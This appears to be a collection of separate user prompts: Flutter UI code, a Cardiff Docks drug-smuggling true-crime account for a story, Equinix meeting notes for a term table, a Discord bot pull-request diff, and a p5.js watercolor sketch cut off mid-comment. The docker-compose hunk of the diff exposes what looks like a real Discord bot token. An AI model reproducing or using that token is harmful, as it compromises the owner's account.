Activity(\n activityDate: DateTime.now(),\n value1: "test activ",\n activity: "Test activity",\n value2: "test value 2")\n ]),\n ],\n ),\n ),\n ),\n );\n }\n\n Widget \\_buildDetailsTable() {\n return Table(\n columnWidths: {\n 0: FlexColumnWidth(2),\n 1: FlexColumnWidth(3),\n },\n children: [\n \\_buildDetailsTableRow(\'Task ID\', \\_task.taskId.toString() ?? ""),\n \\_buildDetailsTableRow(\'Category\', \\_task.categoryId ?? ""),\n \\_buildDetailsTableRow(\n \'Start Date\', \\_task.taskStartDate.toString() ?? ""),\n \\_buildDetailsTableRow(\'Due Date\', \\_task.dueDate.toString() ?? ""),\n \\_buildDetailsTableRow(\'Progress\', \\_task.taskProgress.toString() ?? ""),\n \\_buildDetailsTableRow(\'Hour Estimate\', \\_task.taskHour.toString() ?? ""),\n \\_buildDetailsTableRow(\'Client\', \\_task.clientId ?? ""),\n \\_buildDetailsTableRow(\'Merchant\', \\_task.merchantId ?? ""),\n \\_buildDetailsTableRow(\'Driver\', \\_task.driverId ?? ""),\n ],\n );\n }\n\n TableRow \\_buildDetailsTableRow(String label, String value) {\n return TableRow(\n children: [\n Padding(\n padding: EdgeInsets.symmetric(vertical: 8.0),\n child: Text(\n label,\n style: TextStyle(fontWeight: FontWeight.bold),\n ),\n ),\n Padding(\n padding: EdgeInsets.symmetric(vertical: 8.0),\n child: Text(value),\n ),\n ],\n );\n }\n\n Widget \\_buildStatusButtons() {\n if (\\_task.taskStatus == \'Completed\') {\n return SizedBox.shrink();\n }\n\n return Row(\n mainAxisAlignment: MainAxisAlignment.spaceEvenly,\n children: [\n ElevatedButton(\n onPressed: \\_isLoading ? null : () => \\_updateStatus(\'In Progress\'),\n child: Text(\'In Progress\'),\n ),\n ElevatedButton(\n onPressed: \\_isLoading ? null : () => \\_updateStatus(\'Completed\'),\n child: Text(\'Complete\'),\n ),\n ],\n );\n }\n\n void \\_fetchComments() async {\n setState(() {\n \\_isLoading = true;\n });\n try {\n final comments =\n await ApiService().getTaskComments({}, \\_task.taskId.toString());\n\n setState(() {\n \\_comments = comments;\n });\n } catch (e) {\n // Handle error\n } finally {\n setState(() {\n \\_isLoading = false;\n });\n }\n }\n\n void \\_addComment(String comment) async {\n setState(() {\n \\_isLoading = true;\n });\n try {\n await ApiService().addTaskComment({}, \\_task.taskId.toString(), comment);\n\n setState(() {\n \\_comments.add(Comment(\n id: 1,\n comment: comment,\n createdBy: \'Me\',\n createdDate: DateTime.now(),\n ));\n });\n } catch (e) {\n // Handle error\n } finally {\n setState(() {\n \\_isLoading = false;\n });\n }\n }\n\n void \\_updateStatus(String status) async {\n setState(() {\n \\_isLoading = true;\n });\n try {\n await ApiService().updateRMTask({}, \\_task.taskId.toString(), status, \'\');\n\n setState(() {\n \\_task.taskStatus = status;\n });\n } catch (e) {\n // Handle error\n } finally {\n setState(() {\n \\_isLoading = false;\n });\n }\n }\n}' +'write me a story about The Dead Frogman of Cardiff Docks\nQueen Alexandra Dock 1974\nShipping in the Queen Alexandra Dock 1974\nOne of the most significant criminal enquiries undertaken at Cardiff Docks was a case involving large quantities of drugs brought from the West Indies. It was a lengthy investigation that began with the death of a scuba diver whose body was recovered from the Queen Alexandra Dock.\n\nDuring March 1982, several anonymous telephone calls were received about a man alleged to have gone missing while using sub-aqua diving gear at the docks. Calls were made both to the South Wales Police and to the British Transport Police at the docks, initially by a female and later by a male. With each call, more details emerged- the man was described as West Indian and the location was given as the Queen Alexandra Dock.\n\nSearches by Police Underwater Search Teams did not find anything. Visibility in the dock was extremely poor and as they worked, huge conga eels slithered and scraped past the divers- it was not a pleasant experience in the inky blackness. When HMS Cardiff put into docks on a courtesy visit the opportunity was taken for a sonar sweep to be carried out. Once again nothing was found- what happens to a human body submerged in water depends on many things and the chances of finding one were minimal.\n\nHowever, some weeks after the calls began, two tugs were assisting a ship leaving the Queen Alexandra Dock and as they took up the tow their powerful screws churned up the water and a body was flushed to the surface. It was a body dressed in sub-aqua diving gear and was showing signs of having been in the water some time. At the mortuary, with the diving gear removed, it was found to be that of a West Indian male and all the circumstances suggested that this was the missing man. The heavy diving gear may also have been why the body had not surfaced earlier. A conference between senior officers of the South Wales and British Transport Police did not find agreement on whether the death should be regarded as suspicious.\n\nThe post mortem examination was carried out by eminent pathologist Professor Sir Bernard Knight, who found it difficult to establish the cause of death. But significantly, none of the tiny microbes known as diotodes, normally present in water, were found in the bone marrow possibly indicating the deceased did not die from drowning. There were also several interesting marks on the body, the significance of which would become apparent later. A square bruise was seen on the right side of the face and a similar one on the chest. There was also an unusual wide mark on the left wrist. One other piece of vital evidence came from examination of the diving equipment; the valve on the oxygen cylinder was closed, pointing to the fact that diving had been completed by the time the death occurred.\n\nDI Vic Miller began an investigation and looked for a connection with the West Indies. The shipping line Geest operated between South Wales and the West Indies and one of their boats- the MV Geestland had been diverted into Cardiff Docks a few weeks earlier, about the time the diver had gone missing. Crucially, it had unloaded its cargo of bananas on the north side of the Queens Dock, exactly where the body had been brought to the surface by the tug! The Geestland was brought back into Cardiff and dry docked and something very significant was quickly found. A length of chain was discovered hanging below the hull near the propeller. It was about 20 feet long and on the end was a shackle secured with a nut and bolt. That answered a question that had been puzzling the officers ever since the body had been found; an unexplained spanner had been discovered tied to the wet suit chest. When the spanner was matched to the shackle, they were an exact fit. And one of the Geestland’s engineers told of hearing a strange metallic sound coming from the hull during the voyage from the West Indies. A picture was emerging and the police suspected that a container had been secured to the ship’s hull before the vessel left the West Indies and was to be recovered when the ship arrived in the UK. The dead diver was apparently part of a well-organised drug running syndicate!\n\nFollowing a different line of enquiry, the man who had made the anonymous calls was traced and he identified the deceased as his friend- Peter Macdonald Jones. The dead man’s mother told police that he had had a girlfriend known as ‘The Duchess’ who worked at a department store in Reading. At the store, a former employee was tracked to South Wales and enquiries at a store in Cardiff found that a new member of staff had recently been distressed; she had confided to a colleague that her boyfriend had died. Back in Reading, enquiries established that there were connections to some fairly undesirable people involved in the local drug scene.\n\nThe woman, known as ‘The Duchess’, was arrested and immediately lied about her identity. Realising she may have made a mistake she fell silent and remained that way throughout an initial interview. She was taken home for a search of her flat in Newport. At first, nothing incriminating was found nor was there anything to link her to Peter Jones or even to Reading. Seemingly, she was a woman without a past but as the search progressed, officers noticed that the only indication of any wealth in the flat were two original paintings by L.S. Lowery on the lounge wall. DI Miller examined the paintings and took the back off them. Between the canvas and the backboard of one was a photograph of Peter Jones and in the second was a photograph of her and Peter together. Here was the connection the police had been searching for.\n\nWith her boyfriend dead, The Duchess could see that she had nowhere else to go and her best option now was to help the police. Over time, DI Vic Miller established a rapport and her story was slowly unravelled; it proved to be a revealing story indeed. She had been set up in the flat by her boyfriend, Peter Jones, and his associate, James Timothy for the purpose of providing ‘a safe house’ for drug importation operations in South Wales. Jones was a married man and lived in Reading as did Timothy, who was believed to be heavily involved in the drugs underworld. Almost every month she would meet the two men and a canister of drugs would be recovered from a ship bringing bananas from the West Indies. She would fetch the drugs from the docks and drive them to an address in Reading, having been given a cover story in case she was stopped. The operation had been going on for nearly five years, and each consignment meant anything up to £500,000 in street value. It was understood that no-one involved in the drug trafficking should display any outward sign of wealth. Recently though, Peter Jones had begun to deviate from the rules and shortly before he died he had put down a £5,000 deposit on a Porsche motor car. He had also purchased a plot of land in a residential area in Barbados and was having a bungalow built. It was not a wise move; Timothy had learned of the deposit on the car from an associate in Reading\n\nBoth Timothy and Jones were experienced divers and on that March night in 1982 they set out on one more drug recovery operation from beneath a ship. They were probably expecting the Geestland to be at Barry Docks but bad weather made Cardiff a preferred option. It was a foul night when The Duchess drove Peter Jones and James Timothy to Cardiff Docks- a gale was blowing and it was lashing with rain- in many respects perfect conditions to undertake their hazardous activity, safe from casual observation. The men changed into their diving gear and as usual it was arranged they would be dropped off by The Duchess who would return later to avoid having the car attract attention. Through the rain and the darkness, she watched them descend the steps into the uninviting water and then left; she would not see Peter Jones again.\n\nThe Duchess returned at the prearranged time but Timothy came back to the car alone. He had his diving kit but there was no sign of any drugs and he was vague and evasive about what had happened to Peter Jones. As they waited for around half an hour The Duchess became angry and began to panic, believing that Timothy had done something to him. Eventually, she drove Timothy to Newport, intending to go back and look for Jones in daylight. Timothy led her to believe that an argument had taken place about the drugs and that he had ended up hitting Jones with a lead diving belt and he had fallen back into the water. Timothy had returned to the car believing that Jones would get out alright, but obviously he had not. The Duchess made enquiries herself amongst other drug dealers to see if Jones had been heard of but she did not go as far as reporting her missing man to the police.\n\nWith the discovery of the body the investigation had intensified. One aspect concentrated on the enquiry to trace and interview Timothy, whilst others took on many of the other lines of enquiry including the Reading connection. Many long hours were spent as enquiries spread the length and breadth of the land. Officers learnt that both Peter Jones and James Timothy had contacts in the West Indies and had recently visited the islands. There was evidence that Timothy and Jones had been associates for ten years at least and both had bought diving equipment from the same shop in Falmouth five years previously.\n\nBy the middle of June, Timothy had been arrested, taken to Cardiff and interviewed at the BTP Divisional HQ. But throughout the interview he made no reply except to indicate he did not wish to answer questions. His reply was always the same and he never once lost his cool or became perturbed- he simply remained silent. Despite the serious allegations, Timothy was allowed bail and was interviewed on a further five or six occasions. The only variation from his veil of silence was an occasional stock answer- “I have never murdered anyone in my life. I have the highest regard for human life.”\n\nThe truth about the events that took place in the dark on the quayside at the Queen Alexandra Dock between Jones and Timothy has never been established. The police investigation had always been led with a murder or manslaughter charge in mind but although there was plenty of circumstantial evidence it was insufficient to bring a charge of homicide. No drugs were ever recovered by the police as a result of this incident, nor were any seen by The Duchess when she collected Timothy. It is not beyond the realms of possibility that there were no drugs there to be recovered. Had Jones or someone else intercepted the haul when the vessel was at an American port during its voyage? And if this was not the first consignment to go missing, was someone doing a bit of freelance work, in the USA perhaps? It may be significant that Jones’ passport showed that he had recently returned to the UK from Barbados via Florida.\n\nJames Timothy was charged with conspiring with Peter Macdonald Jones and others to import controlled drugs at Cardiff Docks. He pleaded not guilty at Cardiff Crown Court but was convicted and sentenced to 7 years imprisonment. No person was ever charged in connection with the death of Peter Macdonald Jones, the dead frogman of Cardiff Docks.' +'Please prepare a list of terms mentioned in this text and the frequency with which they were mentioned in a table format \n\n1. Brandi\n • Platform\n \n2. Bruce\n • What DON’T we mean by “platform” \n • Simple- digital consumption models adapted to various buying personas (eg. channel, direct, PLG)\n • Obvious- leverage the already existing physical platform (scale and reach, ecosystems, interconnection, operational excellence)\n \n3. Charles\n • Platform\n Platform Equinix is comprised of Equinix Service Offers that are typically combined with and interconnected to services from Ecosystem Partners (via a Marketplace in the future) to create Customer Solutions. These services and partners reside in IBXs, located at The Digital Edge and are delivered through a combination of Physical Experience and Digital Experience elements supported by Processes, Software Systems and Enabling Tools. [Platform Elements]\n \n Platform services are consumed by Users who can be Direct Buyers (PLG) and who typically act as Influencers for larger scale Corporate Buyers. [Personas]\n \n Equinix brings its platform value to market through a combination of Product Led Growth, Full-Service Selling and Channel Led motions. [GTM Motions]\n \n • Equinix Service Offers\n ○ Ecosystem Partners\n ○ Marketplace\n ○ Customer Solutions\n ○ The Digital Edge\n • Physical Experience\n • Digital Experience\n \n • Processes\n • Software Systems\n • Enabling Tools\n • Users\n • Direct Buyers\n • Influencers\n • Corporate Buyers\n • Product Led Growth\n • Full-Service Selling\n • Channel Led\n\n Each of the above requires clear definition, a prioritize plan of action and accountability to deliver.\n4. Jon\n • Composable\n • Programmable\n \n \n5. Justin\n • “Platform Equinix”\n • “The world’s digital infrastructure company”\n • Distributed infrastructure: A deployment model where applications, or their components (compute, networking or storage) run across a distributed environment, e.g. between multiple (Equinix) data centers only, or based on a hybrid (multi)cloud deployment model.\n • Hybrid cloud / hybrid multicloud: A deployment model where applications, or their components (compute, networking or storage) are deployed across public cloud and colocation/private data center environments. The deployment model is referred to as hybrid cloud when a single public cloud service provider is used, and hybrid multicloud when at least 2 public cloud services clouds are used.\n • Developers: Software practitioners who develop application code or SRE/automation tooling for distributed / hybrid-(multi)cloud deployments.\n • IaaS (infrastructure as a service) is a type of cloud computing offering that includes physical data center infrastructure, as well as fundamental resources for physical/virtual compute systems (servers), storage, and networking – available on demand, and consumed on a pay-as-you-go basis. IaaS is one of the 4 types of cloud services, along with PaaS, SaaS and serverless.\n • “World’s digital infrastructure company”\n • “Physical infrastructure”\n • “At software speed”\n6. Karl\n • … consumers: end companies that leverage services provided on the Equinix platform to accelerate their digital transformation\n • … producers, service providers who offer their services on the platform, often times integrated with other services to create solutions, to help the end companies accelerate their digital transformation.\n • …Dedicated Cloud: A dedicated cloud is a single-tenant cloud infrastructure, which essentially acts as an isolated, single-tenant public cloud. Dedicated clouds are set as an infrastructure as a service (IaaS) and are made to reduce an organizations downtime and cost while promoting flexibility and performance. Dedicated clouds work especially well for resource-intensive workloads.\n • … platform: \n · is it a place, is it a set of digital natives that enable others’ services that then can be consumed by many on the platform? \n · Is it just within the four walls of Equinix, or is it possibly open and everywhere and offered like megaport in other DC’s ?\n · Does it become more important than our physical footprint? \n · Is at its core the goal of ensuring traffic flows across the Equinix platform?\n \n7. Keith\n • Yes, what does it mean to digital transform? To me, it is trying to describe how a company can shift from using physical assets to virtual assets knowing that there are physical assets behind what we deliver. It is the simplification of one’s infrastructure to consume on demand. It is analogous to an oil and gas refinery – I don’t want to owned the infrastructure to make it, I just want to use the “output - gas”, when I want it and where I want it.\n • As part of the digital journey, I think the GLO team needs to better understand the service offerings. What is metal, what is Edge and what is Fabric. Better understanding the service will allow them to better attach to the strategic purpose and intent. \n8. Kurt\n • … continuum of services. How easy do we want to make it to move across the platform. My view (which would drive design decisions) is that the platform is most valuable when a customer moves across it almost constantly locking in physical locations for the long hold and flexible locations to test the market, grow, meet temporary demand, etc.\n • Seamlessly contract. Make it easy to move between worlds in Equinix. This would mean we need to think more wholistically, even if only based on the right APIs, about how a customer signs up, buys new services, gets billed, etc. Note, that doesn’t mean that has to exist now, but we would make different decisions if we knew that was our end point was. Right now everyone will talk about the future state, but then are quite adamant on the development side we aren’t worried about connecting to the larger platform right now. So it is confusing.\n • (indirect) – I think we need to define the specific channels we think matter here and focus on those. That also drives development in terms of the use cases we are aiming for\n • … I think I captured them all above. I would be curious what the dev teams would say here. I think part of the issue is that asking eteam to define independently is likely missing some stuff really smart people in the org may see that are blockers. Obviously all of that gets treated with a grain of salt, but I do think the top down strategy here is causing us to not really be as agile as we think we are as we aren’t able to react to bottoms up problems blocking our agile development.\n \n9. Mike\n • Triple play\n \n10. Milind\n • “Platform”\n • SDDC: \n Stands for "Software-Defined Data Center." It is a data center architecture that utilizes software-defined computing, networking, and storage resources to automate the provisioning and management of infrastructure services. The data center infrastructure is abstracted from the underlying hardware and managed through software-defined compute, software-defined networking (SDN) and software-defined storage (SDS) technologies.\n • “Quote To Cash”\n • “MVP/Triple Play/Double Play/Project Avery”\n ○ – Would be helpful to understand the latest name and scope of this initiative\n \n \n11. Nicole \n • I would like to understand when we say “Platform company”, what do people mean? Do we all have the same definition. When I think of Platform companies, I think of Amazon, Google, Salesforce, etc.. a destination for customers where they see clear strategic value in being part of that platform. Are we all aligned on the definition of Platform company and aligned that we could actually be one? \n • I would like to better understand the guardrails of our Reit status. Is it truly an inhibitor to aggressive shift in strategy? Cool if so, I just need to have better clarity and right now it feels like there are multiple dialogues around this. \n • Platform: A place where customers come to leverage strategic value for their own growth and scale. \n • BU specific strategies and targets. What specifically do we want each BU to do for company? What growth rates do we want, where are their trade-off’s, etc.. \n • How do we know when we have proven our platform vision? (key outcomes that let us know we are pacing toward goal(s))\n • When we say “ecosystem”, what do we specifically mean? Large synergies we want with companies like Dell, HPE, VMware? Or, are we talking about creating a larger (long tail) partner community that can transact with us more efficiently .. In my opinion, those are very different execution strategies and need clarity on this. \n\n12. PVC\n • … Not sure it’s a specific term, but I believe there could be an overall descriptor for the layer of services we provide as software that enables our customers to better utilize or orchestrate their use of all service “by” or “at” Equinix. Cloud Networking may fit in this bucket. Storage as a service could be provided by an HPE or Dell as an example, but the way this is enabled for use by an Equinix customer is a pssoibile example\n \n13. Raouf\n • … Digital Infrastructure is the key term that needs definition to properly define our product roadmap and aspirations of what TAM we can go after. This should be defined as the space, power, interconnection and physical equipment needed to build out the digital needs of a business. Staying away from the data and operating systems that sit on top of the equipment. \n • … Target market, key service capabilities. What do we want to be great at? What will be our differentiating value? \n \n14. Ryan\n • Platform: Technology to create a shared space where multiple parties can connect and interact.\n • Platform company.” I (believe I) understand what a platform is but feel we use this term freely and sometimes we state position it as current state and sometimes as aspirational. How will we know when we have become a platform company? Are we one already?\n • Digital infrastructure: The aggregation of physical (space, power, cross connects, etc.) and digital (metal, virtual connects, etc.) solutions required to support one’s technology backbone. \n \n15. Scott\n • How should we evaluate our leadership teams (those reporting to eStaff members) for:\n ○ a) their support or hinderance of change\n ○ b) their skills and experience in the world of infrastructure SaaS and cloud businesses\n ○ c) how do we evaluate whether those on our leadership teams are actually sufficiently experienced and capable (in knowledge, skills and mindset) to drive the change we need? [Perhaps the exceptional people who got us here aren\'t the ones who are able to lead us to the next destination]\n • … What is a platform? Suggestion: a set of tooling, APIs, interconnections and locations which enable optimal workload and data placement\n • What is an ecosystem? Suggestion: An integrated set of partnerships and technologies simplifying and solving customer problems.' +'@ -1,3 +1,4 @@\nvenv/\nk8s/\n\\*.pyc\n\\*.pyc\n\\*.pem\n 4 \ndocker-compose.yaml\nMarking files as viewed can help keep track of your progress, but will not affect your submitted reviewViewed\nComment on this file\n@@ -8,8 +8,8 @@ services:\n REDIS\\_POOL\\_SIZE: 1\n BROKER\\_TYPE: redis\n DISCORD\\_TOKEN: MTA3NTIyMzgyNDg2MzMzMDM4NA.G3Z3eL.CRAjmilw0j5TT0gPonyE-8b1deZbNyHs0hPKtI\n DISCORD\\_EVENTS: MESSAGE\\_CREATE\n DISCORD\\_INTENTS: GUILD,GUILD\\_MESSAGES,MESSAGE\\_CONTENT\n DISCORD\\_EVENTS: MESSAGE\\_CREATE,INTERACTION\\_CREATE\n DISCORD\\_INTENTS: GUILD,GUILD\\_MESSAGES,MESSAGE\\_CONTENT,GUILD\\_INTEGRATIONS\n LOG\\_LEVEL: debug\n depends\\_on:\n - redis\n 19 \npackages/shared\\_library/mocks/mock\\_discord\\_server.py\nMarking files as viewed can help keep track of your progress, but will not affect your submitted reviewViewed\nComment on this file\n@@ -8,11 +8,22 @@ def get\\_guild(guild\\_id):\n return jsonify({"id": guild\\_id, "name": "Ai LiLi Test Server"})\n@app.route("/application//commands", methods=["POST"])\n@app.route("/applications//commands", methods=["POST"])\ndef register\\_command(application\\_id):\n # TODO:\n # hit the real api on the test ailili server and copy the response to here\n return jsonify({})\n return jsonify({\n \'name\\_localizations\': None,\n \'description\': \'test\',\n \'id\': \'1088654453009301615\',\n \'description\\_localizations\': None,\n \'application\\_id\': \'1075223824863330384\',\n \'version\': \'1088654453009301616\',\n \'dm\\_permission\': True,\n \'default\\_permission\': True,\n \'default\\_member\\_permissions\': None,\n \'nsfw\': False,\n \'type\': 1,\n \'name\': \'test\'\n })\nif \\_\\_name\\_\\_ == "\\_\\_main\\_\\_":\n 3 \npackages/shared\\_library/models/discord\\_client.py\nMarking files as viewed can help keep track of your progress, but will not affect your submitted reviewViewed\nComment on this file\n@@ -34,5 +34,4 @@ def get\\_guild(self, guild\\_id):\n def register\\_slash\\_command(self, slash\\_command\\_payload):\n slash\\_command\\_uri = constants.DISCORD\\_SLASH\\_COMMAND\\_URI.format(self.discord\\_application\\_id)\n url = self.base\\_url + slash\\_command\\_uri\n res = self.post(url, slash\\_command\\_payload)\n return res.get(labels.ID)\n return self.post(url, slash\\_command\\_payload)\n 7 \npackages/shared\\_library/tests/test\\_discord\\_client.py\nMarking files as viewed can help keep track of your progress, but will not affect your submitted reviewViewed\nComment on this file\n@@ -17,7 +17,6 @@ def test\\_get\\_guild(self, mock\\_discord\\_client):\n assert res.get(\'name\') == "Ai LiLi Test Server"\n\n def test\\_register\\_command(self, mock\\_discord\\_client):\n # TODO\n # make a mocked endpoint in mock\\_discord\\_server.py\n # and test the response\n pass\n slash\\_command\\_payload = {"name": "test", "description": "test", "options": []}\n command\\_id = mock\\_discord\\_client.register\\_slash\\_command(slash\\_command\\_payload)\n assert command\\_id != None\n 31 \npackages/slash\\_commands/models/base\\_slash\\_command.py\nMarking files as viewed can help keep track of your progress, but will not affect your submitted reviewViewed\nComment on this file\n@@ -0,0 +1,31 @@\nimport json\nimport os\nimport pathlib\n\nfrom shared\\_library import constants, labels\nfrom shared\\_library.models.discord\\_client import DiscordClient\nfrom shared\\_library.models.translator import LocaleEnum, Translator\n\nTRANSLATION\\_FILE\\_PATH = os.path.join(os.path.dirname(\\_\\_file\\_\\_), "../translations.json")\nPAYLOAD\\_FOLDER\\_PATH = os.path.abspath(os.path.join(os.path.dirname(\\_\\_file\\_\\_), "../payloads"))\nclass BaseSlashCommand:\n client = DiscordClient()\n translator = Translator(LocaleEnum.ENGLISH.value, TRANSLATION\\_FILE\\_PATH)\n\n def \\_\\_init\\_\\_(self, command\\_name):\n self.command\\_name = command\\_name\n self.payload = None\n\n def get\\_payload(self):\n payload\\_file\\_path = os.path.join(PAYLOAD\\_FOLDER\\_PATH, f"{self.command\\_name}.json")\n with open(payload\\_file\\_path, constants.READ) as f:\n self.payload = json.loads(f.read())\n return self.payload\n\n def register(self):\n payload = self.get\\_payload()\n translated\\_payload = self.translator.translate(payload)\n response = self.client.register\\_slash\\_command(slash\\_command\\_payload=translated\\_payload)\n return response.get(labels.ID)\n 0 \npackages/slash\\_commands/models/slash\\_command.py\nMarking files as viewed can help keep track of your progress, but will not affect your submitted reviewViewed\nComment on this file\nEmpty file.\n 5 \npackages/slash\\_commands/payloads/test.json\nMarking files as viewed can help keep track of your progress, but will not affect your submitted reviewViewed\nComment on this file\n@@ -0,0 +1,5 @@\n{\n "name": "test",\n "description": "$TO\\_BE\\_TRANSLATED$TEST\\_COMMAND\\_DESCRIPTION",\n "options": []\n}\n 15 \npackages/slash\\_commands/tests/test\\_base\\_slash\\_command.py\nMarking files as viewed can help keep track of your progress, but will not affect your submitted reviewViewed\nComment on this file\n@@ -0,0 +1,15 @@\nimport pytest\nfrom slash\\_commands.models.base\\_slash\\_command import BaseSlashCommand\nclass TestBaseSlashCommandClass:\n\n def test\\_get\\_payload(self):\n base\\_slash\\_command = BaseSlashCommand(command\\_name="test")\n payload = base\\_slash\\_command.get\\_payload()\n assert payload.get("name") == "test"\n\n def test\\_register\\_command(self):\n base\\_slash\\_command = BaseSlashCommand(command\\_name="test")\n command\\_id = base\\_slash\\_command.register()\n assert command\\_id != None\n 82 \npackages/slash\\_commands/translations.json\nMarking files as viewed can help keep track of your progress, but will not affect your submitted reviewViewed\nComment on this file\n@@ -1,7 +1,77 @@\n{\n "HELP\\_COMMAND\\_DESCRIPTION" : {\n "en-US":"Show the help message",\n "zh-CN":"显示帮助信息",\n "zh-TW":"顯示幫助信息"\n }\n}\n "TEST\\_COMMAND\\_DESCRIPTION": {\n "en-US": "test",\n "zh-CN": "测试机器人",\n "zh-TW": "測試機器人"\n },\n "HELP\\_COMMAND\\_DESCRIPTION": {\n "en-US": "Show the help message",\n "zh-CN": "显示帮助信息",\n "zh-TW": "顯示幫助信息"\n },\n "INJECT\\_COMMAND\\_DESCRIPTION": {\n "en-US": "Inject souls to your NFTs and enable them to talk",\n "zh-CN": "将灵魂注入你的NFT，让他能陪你聊天",\n "zh-TW": "把靈魂注入你的NFT，讓他能陪你聊天"\n },\n "CREATE\\_COMMAND\\_DESCRIPTION": {\n "en-US": "Create a new soul to talk to",\n "zh-CN": "自创一个新的灵魂来聊天",\n "zh-TW": "自創一個新的靈魂來聊天"\n },\n "SOULS\\_COMMAND\\_DESCRIPTION": {\n "en-US": "List all the souls you can talk to",\n "zh-CN": "列出你持有的所有灵魂",\n "zh-TW": "列出你擁有的所有靈魂"\n },\n "ACTIVATE\\_COMMAND\\_DESCRIPTION": {\n "en-US": "Start talking to a soul",\n "zh-CN": "让灵魂说话",\n "zh-TW": "叫靈魂說話"\n },\n "ACTIVATE\\_COMMAND\\_SOULNAME\\_OPTION\\_DESCRIPTION": {\n "en-US": "Name of the soul you want to talk to",\n "zh-CN": "灵魂的名称",\n "zh-TW": "靈魂的名字"\n },\n "DEACTIVATE\\_COMMAND\\_DESCRIPTION": {\n "en-US": "Stop a soul from talking",\n "zh-CN": "让灵魂别说话",\n "zh-TW": "叫靈魂別說話"\n },\n "DEACTIVATE\\_COMMAND\\_SOULNAME\\_OPTION\\_DESCRIPTION": {\n "en-US": "Name of the soul you want to stop talking",\n "zh-CN": "灵魂的名称",\n "zh-TW": "靈魂的名字"\n },\n "DELETE\\_COMMAND\\_DESCRIPTION": {\n "en-US": "Delete a soul",\n "zh-CN": "删除灵魂",\n "zh-TW": "刪除靈魂"\n },\n "DELETE\\_COMMAND\\_SOULNAME\\_OPTION\\_DESCRIPTION": {\n "en-US": "Name of the soul you want to delete",\n "zh-CN": "灵魂的名称",\n "zh-TW": "靈魂的名字"\n },\n "EDIT\\_COMMAND\\_DESCRIPTION": {\n "en-US": "Edit a soul",\n "zh-CN": "编辑灵魂",\n "zh-TW": "編輯靈魂"\n },\n "EDIT\\_COMMAND\\_SOULNAME\\_OPTION\\_DESCRIPTION": {\n "en-US": "Name of the soul you want to edit",\n "zh-CN": "灵魂的名称",\n "zh-TW": "靈魂的名字"\n },\n "RESET\\_COMMAND\\_DESCRIPTION": {\n "en-US": "Reset the soul\'s conversation history",\n "zh-CN": "重置灵魂的对话记录",\n "zh-TW": "重置靈魂的對話記錄"\n },\n "RESET\\_COMMAND\\_SOULNAME\\_OPTION\\_DESCRIPTION": {\n "en-US": "Name of the soul you want to reset",\n "zh-CN": "灵魂的名称",\n "zh-TW": "靈魂的名字"\n }\n}\n---\nWrite a pull request description based on the changes above.' +"consider this damn slow and unoptimized p5.js code snippet. It outputs a self painting watercolor effect with ink expanding on canvas. I want you to optimize it, write the full p5.js source code. It must not refer to external assets or files, the source must be self- contained. I want you to use webgl and pixel shaders where possible.\n\n// \\*\\*\\* forked and modded from here: \n// \\*\\*\\* https://editor.p5js.org/StevesMakerspace/sketches/d0lPUJt8T\n\nlet xyoffAdd = 0.18; // 0.08 default - lower # = straighter lines; changing Perlin noise variables\nlet coloroffAdd = 5.5; // 0.5 default\nlet pixelSkip = 12; // 12 default\nlet colorSkip = 7; // 7 default\nlet dryTime = 0.0012; //0.0012 default\n//let startWidth = 40;\nlet runnyColors = false;\nlet canvasSmall = true; // for true, set width & height below. A smaller canvas will run faster. Setting to false will fill the available space.\nlet canvWidth = 480;\nlet canvHeight = 270;\nlet paintDrop = 50; // fixed brush width\nlet paint = [];\nlet tempPaint1 = [];\nlet tempPaint2 = [];\nlet posX, posY, prevPosX, prevPosY;\nlet p = 1;\nlet xoff, yoff, roff, goff, boff, poff;\nlet randR, randG, randB;\nfunction setup() {\n//let fs = fullscreen();\n// fullscreen(!fs);\n randR = random(255);\n randG = random(255);\n randB = random(255);\n xoff = random(40000); // Perlin noise seed starts\n yoff = random(40000);\n roff = random(40000);\n goff = random(40000);\n boff = random(40000);\n poff = random(40000);\n pixelDensity(1);\n \n if (canvasSmall ==true){\n createCanvas(canvWidth,canvHeight)\n }\n else {\n createCanvas(round(windowWidth\\*0.98) , round(windowHeight\\*0.93));\n }\n background(220);\n posX = prevPosX = round(random(width));\n posY = prevPosY = round(random(height));\n // fill the arrays with black color\n for (let x = 0; x < width; x++) {\n for (let y = 0; y < height; y++) {\n paint.push(250, 240, 220, 0);\n }\n }\n tempPaint1 = paint;\n tempPaint2 = paint;\n}\n\nfunction draw() {\n if (p > 0) {\n addPaint();\n updater();\n render();\n }\n}\n\n//function windowResized() {\n// resizeCanvas(canvWidth, canvHeight);\n//}\n// paint new color\nfunction addPaint() {\n xoff += xyoffAdd;\n yoff += xyoffAdd;\n roff += coloroffAdd;\n goff += coloroffAdd;\n boff += coloroffAdd;\n // using Perlin noise to smoothly change position and color\n posX += round((noise(xoff) - 0.5) \\* pixelSkip); \n posY += round((noise(yoff) - 0.5) \\* pixelSkip); \n randR += round((noise(roff) - 0.5) \\* colorSkip); \n randG += round((noise(goff) - 0.5) \\* colorSkip);\n randB += round((noise(boff) - 0.5) \\* colorSkip);\n\n // wrap around edges and colors\n if (posX > width) {\n posX = 0;\n }\n if (posX < 0) {\n posX = width;\n }\n if (posY > height) {\n posY = 0;\n }\n if (posY < 0) {\n posY = height;\n }\n if (randR > 255) {\n randR = 0;\n }\n if (randR < 0) {\n randR = 255;\n }\n if (randG > 255) {\n randG = 0;\n }\n if (randG < 0) {\n randG = 255;\n }\n if (randB > 255) {\n randB = 0;\n }\n if (randB < 0) {\n randB = 255;\n }\n let distance = dist(prevPosX, prevPosY, posX, posY);\n if (distance < width \\* 0.9 && distance < height \\*0.9){\n let numPoints = floor(distance / 1); // larger number = more gaps and fewer points; these two lines from George Profenza, noted below.\n drawLinePoints(prevPosX, prevPosY, posX, posY, numPoints);\n }\n prevPosX = posX;\n prevPosY = posY;\n}\n \n// calculate points from previous position to new position\n// This function from George Profenza on stackoverflow https://stackoverflow.com/questions/63959181/how-do-you-draw-a-line-in-a-pixel-array\nfunction drawLinePoints(x1, y1, x2, y2, points){\n for(let i = 0; i < points; i++){\n let t = map(i, 0, points, 0.0, 1.0);\n let x = round(lerp(x1, x2, t));\n let y = round(lerp(y1, y2, t));\n renderPoints(x,y);\n }\n}\n \n // combine new paint with old paint\nfunction renderPoints (x,y){\n let arrayPos = (x + y \\* width) \\* 4;\n let newR = (paint[arrayPos + 0] + randR) / 2;\n let newG = (paint[arrayPos + 1] + randG) / 2;\n let newB = (paint[arrayPos + 2] + randB) / 2;\n let newN = paint[arrayPos + 3] + paintDrop;\n paint.splice(arrayPos, 4, newR, newG, newB, newN); \n}\n\n// if there's a lot of color in one 